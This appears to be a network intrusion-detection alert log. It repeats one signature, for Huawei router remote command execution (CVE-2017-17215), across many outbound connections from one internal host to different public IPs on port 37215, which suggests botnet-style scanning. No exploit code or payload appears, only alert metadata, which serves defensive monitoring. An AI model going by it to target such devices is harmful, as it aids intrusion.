Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.85.134.35

Timestamp:	2024-08-01T15:35:50.279237+0200
SID:	2835222
Source Port:	58088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.6.248.212

Timestamp:	2024-08-01T15:35:16.777126+0200
SID:	2835222
Source Port:	60818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.142.142.176

Timestamp:	2024-08-01T15:35:21.851777+0200
SID:	2835222
Source Port:	59686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.51.113.103

Timestamp:	2024-08-01T15:35:20.202964+0200
SID:	2835222
Source Port:	53584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.15.195.2

Timestamp:	2024-08-01T15:35:35.142615+0200
SID:	2835222
Source Port:	59550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.150.42.173

Timestamp:	2024-08-01T15:35:21.878653+0200
SID:	2835222
Source Port:	40906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.11.208.151

Timestamp:	2024-08-01T15:36:01.508414+0200
SID:	2835222
Source Port:	42720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.185.77.13

Timestamp:	2024-08-01T15:36:57.572942+0200
SID:	2835222
Source Port:	57926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 31.114.56.89

Timestamp:	2024-08-01T15:35:58.810784+0200
SID:	2835222
Source Port:	46198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.68.187.146

Timestamp:	2024-08-01T15:35:31.024628+0200
SID:	2835222
Source Port:	51404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.30.209.15

Timestamp:	2024-08-01T15:35:53.373898+0200
SID:	2835222
Source Port:	35384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 147.191.79.16

Timestamp:	2024-08-01T15:35:20.545815+0200
SID:	2835222
Source Port:	50774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.177.221.8

Timestamp:	2024-08-01T15:36:44.290989+0200
SID:	2835222
Source Port:	53902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 54.122.142.36

Timestamp:	2024-08-01T15:36:28.683845+0200
SID:	2835222
Source Port:	41630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 135.126.90.169

Timestamp:	2024-08-01T15:34:58.055043+0200
SID:	2835222
Source Port:	42980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.133.207.105

Timestamp:	2024-08-01T15:35:20.209555+0200
SID:	2835222
Source Port:	44072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.202.245.255

Timestamp:	2024-08-01T15:36:35.282466+0200
SID:	2835222
Source Port:	46338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.186.184.114

Timestamp:	2024-08-01T15:35:45.262918+0200
SID:	2835222
Source Port:	58094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.186.250.167

Timestamp:	2024-08-01T15:36:42.159885+0200
SID:	2835222
Source Port:	56448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 87.205.242.71

Timestamp:	2024-08-01T15:36:09.870569+0200
SID:	2835222
Source Port:	49744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.49.111.213

Timestamp:	2024-08-01T15:35:20.545385+0200
SID:	2835222
Source Port:	53684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.249.194

Timestamp:	2024-08-01T15:35:37.220991+0200
SID:	2835222
Source Port:	54794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.102.148.103

Timestamp:	2024-08-01T15:35:16.587837+0200
SID:	2835222
Source Port:	45710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.240.3.195

Timestamp:	2024-08-01T15:35:21.928399+0200
SID:	2835222
Source Port:	48712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 198.104.201.44

Timestamp:	2024-08-01T15:35:21.928698+0200
SID:	2835222
Source Port:	47762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 47.115.132.232

Timestamp:	2024-08-01T15:36:30.755615+0200
SID:	2835222
Source Port:	37828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.177.160.23

Timestamp:	2024-08-01T15:35:37.225681+0200
SID:	2835222
Source Port:	54004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.179.42.172

Timestamp:	2024-08-01T15:36:11.949376+0200
SID:	2835222
Source Port:	44614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.37.70.213

Timestamp:	2024-08-01T15:35:25.949819+0200
SID:	2835222
Source Port:	44812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.173.107.1

Timestamp:	2024-08-01T15:35:32.992468+0200
SID:	2835222
Source Port:	53402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 124.66.157.247

Timestamp:	2024-08-01T15:36:24.460012+0200
SID:	2835222
Source Port:	47180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.196.27.196

Timestamp:	2024-08-01T15:35:50.305705+0200
SID:	2835222
Source Port:	52212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.177.221.190

Timestamp:	2024-08-01T15:36:51.575892+0200
SID:	2835222
Source Port:	38260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.94.201.235

Timestamp:	2024-08-01T15:35:50.304407+0200
SID:	2835222
Source Port:	36254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.170.133

Timestamp:	2024-08-01T15:35:21.827172+0200
SID:	2835222
Source Port:	37854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.108.237.235

Timestamp:	2024-08-01T15:35:21.860857+0200
SID:	2835222
Source Port:	36370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.162.123.101

Timestamp:	2024-08-01T15:35:43.379573+0200
SID:	2835222
Source Port:	45886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.184.140.185

Timestamp:	2024-08-01T15:36:49.568678+0200
SID:	2835222
Source Port:	43342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 166.129.216.186

Timestamp:	2024-08-01T15:34:58.173391+0200
SID:	2835222
Source Port:	55838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.242.163.116

Timestamp:	2024-08-01T15:35:20.214802+0200
SID:	2835222
Source Port:	49140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 162.197.87.219

Timestamp:	2024-08-01T15:35:20.204075+0200
SID:	2835222
Source Port:	35996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.171.241

Timestamp:	2024-08-01T15:36:24.458394+0200
SID:	2835222
Source Port:	46174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 152.232.93.173

Timestamp:	2024-08-01T15:35:20.206594+0200
SID:	2835222
Source Port:	47554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.97.41.229

Timestamp:	2024-08-01T15:35:20.203436+0200
SID:	2835222
Source Port:	50912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.63.243.206

Timestamp:	2024-08-01T15:36:44.182086+0200
SID:	2835222
Source Port:	40264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.176.24.104

Timestamp:	2024-08-01T15:35:20.206340+0200
SID:	2835222
Source Port:	48714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.229.163.234

Timestamp:	2024-08-01T15:36:14.808062+0200
SID:	2835222
Source Port:	55824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 140.82.165.93

Timestamp:	2024-08-01T15:35:45.283787+0200
SID:	2835222
Source Port:	60650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.245.157.212

Timestamp:	2024-08-01T15:36:22.337845+0200
SID:	2835222
Source Port:	48222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.78.203.22

Timestamp:	2024-08-01T15:35:21.873845+0200
SID:	2835222
Source Port:	42758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.66.28.177

Timestamp:	2024-08-01T15:36:32.778050+0200
SID:	2835222
Source Port:	58170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.97.124.150

Timestamp:	2024-08-01T15:36:44.181664+0200
SID:	2835222
Source Port:	44822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.186.91.72

Timestamp:	2024-08-01T15:35:20.204165+0200
SID:	2835222
Source Port:	55860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.98.161.227

Timestamp:	2024-08-01T15:35:21.854758+0200
SID:	2835222
Source Port:	47586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.235.253.75

Timestamp:	2024-08-01T15:36:51.576146+0200
SID:	2835222
Source Port:	49222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.226.252.101

Timestamp:	2024-08-01T15:36:06.714600+0200
SID:	2835222
Source Port:	54054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.59.74.157

Timestamp:	2024-08-01T15:35:16.406686+0200
SID:	2835222
Source Port:	39712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.157.59.71

Timestamp:	2024-08-01T15:35:37.208777+0200
SID:	2835222
Source Port:	47030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.247.189.13

Timestamp:	2024-08-01T15:36:15.124981+0200
SID:	2835222
Source Port:	49210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.147.154

Timestamp:	2024-08-01T15:35:53.373198+0200
SID:	2835222
Source Port:	60268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.166.218.44

Timestamp:	2024-08-01T15:36:16.181139+0200
SID:	2835222
Source Port:	34592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.216.76.86

Timestamp:	2024-08-01T15:36:20.308009+0200
SID:	2835222
Source Port:	56870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.141.59.33

Timestamp:	2024-08-01T15:35:21.870130+0200
SID:	2835222
Source Port:	51006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.159.141

Timestamp:	2024-08-01T15:36:09.883152+0200
SID:	2835222
Source Port:	43660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.81.231.255

Timestamp:	2024-08-01T15:36:11.914266+0200
SID:	2835222
Source Port:	48714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.124.168.112

Timestamp:	2024-08-01T15:35:20.210493+0200
SID:	2835222
Source Port:	50872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 17.63.135.191

Timestamp:	2024-08-01T15:35:28.720864+0200
SID:	2835222
Source Port:	58608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 99.6.122.63

Timestamp:	2024-08-01T15:35:20.204804+0200
SID:	2835222
Source Port:	48492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.32.243.134

Timestamp:	2024-08-01T15:35:53.373456+0200
SID:	2835222
Source Port:	40754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.149.203.170

Timestamp:	2024-08-01T15:36:57.544943+0200
SID:	2835222
Source Port:	53278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.211.47.115

Timestamp:	2024-08-01T15:35:43.378332+0200
SID:	2835222
Source Port:	48916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.130.251.3

Timestamp:	2024-08-01T15:35:21.905351+0200
SID:	2835222
Source Port:	38492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 199.159.214.189

Timestamp:	2024-08-01T15:36:14.827522+0200
SID:	2835222
Source Port:	50160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.140.10.97

Timestamp:	2024-08-01T15:35:16.573919+0200
SID:	2835222
Source Port:	56542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.6.83.129

Timestamp:	2024-08-01T15:35:47.260470+0200
SID:	2835222
Source Port:	48154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.230.49.115

Timestamp:	2024-08-01T15:36:14.810786+0200
SID:	2835222
Source Port:	34530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 17.213.200.107

Timestamp:	2024-08-01T15:35:20.206127+0200
SID:	2835222
Source Port:	58824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 123.154.176.26

Timestamp:	2024-08-01T15:36:34.860105+0200
SID:	2835222
Source Port:	47630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.155.214.106

Timestamp:	2024-08-01T15:36:22.369433+0200
SID:	2835222
Source Port:	44568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.52.107.254

Timestamp:	2024-08-01T15:35:21.895230+0200
SID:	2835222
Source Port:	52230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.169.198.211

Timestamp:	2024-08-01T15:36:56.000160+0200
SID:	2835222
Source Port:	39966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.75.43.144

Timestamp:	2024-08-01T15:35:16.591466+0200
SID:	2835222
Source Port:	53244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.104.242.98

Timestamp:	2024-08-01T15:36:29.403276+0200
SID:	2835222
Source Port:	47862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 48.237.246.202

Timestamp:	2024-08-01T15:35:21.843658+0200
SID:	2835222
Source Port:	54662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.230.169.112

Timestamp:	2024-08-01T15:36:09.871331+0200
SID:	2835222
Source Port:	43632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.170.11.131

Timestamp:	2024-08-01T15:35:40.224112+0200
SID:	2835222
Source Port:	46194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.175.178

Timestamp:	2024-08-01T15:36:01.448441+0200
SID:	2835222
Source Port:	49008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.134.223.142

Timestamp:	2024-08-01T15:36:18.262625+0200
SID:	2835222
Source Port:	42832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.242.52

Timestamp:	2024-08-01T15:36:44.216578+0200
SID:	2835222
Source Port:	39330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 97.250.45.42

Timestamp:	2024-08-01T15:35:21.828798+0200
SID:	2835222
Source Port:	58852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 116.121.147.109

Timestamp:	2024-08-01T15:35:35.122032+0200
SID:	2835222
Source Port:	41040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.140.131

Timestamp:	2024-08-01T15:35:17.176407+0200
SID:	2835222
Source Port:	50974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.18.34.101

Timestamp:	2024-08-01T15:36:48.387889+0200
SID:	2835222
Source Port:	45048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.12.156.65

Timestamp:	2024-08-01T15:35:20.216256+0200
SID:	2835222
Source Port:	43460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.235.161.222

Timestamp:	2024-08-01T15:35:20.203784+0200
SID:	2835222
Source Port:	47630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.95.7.206

Timestamp:	2024-08-01T15:35:16.316346+0200
SID:	2835222
Source Port:	60640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.197.214.17

Timestamp:	2024-08-01T15:35:21.921231+0200
SID:	2835222
Source Port:	58878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.123.104.39

Timestamp:	2024-08-01T15:35:32.992292+0200
SID:	2835222
Source Port:	56152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 1.147.20.219

Timestamp:	2024-08-01T15:36:39.590880+0200
SID:	2835222
Source Port:	60240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

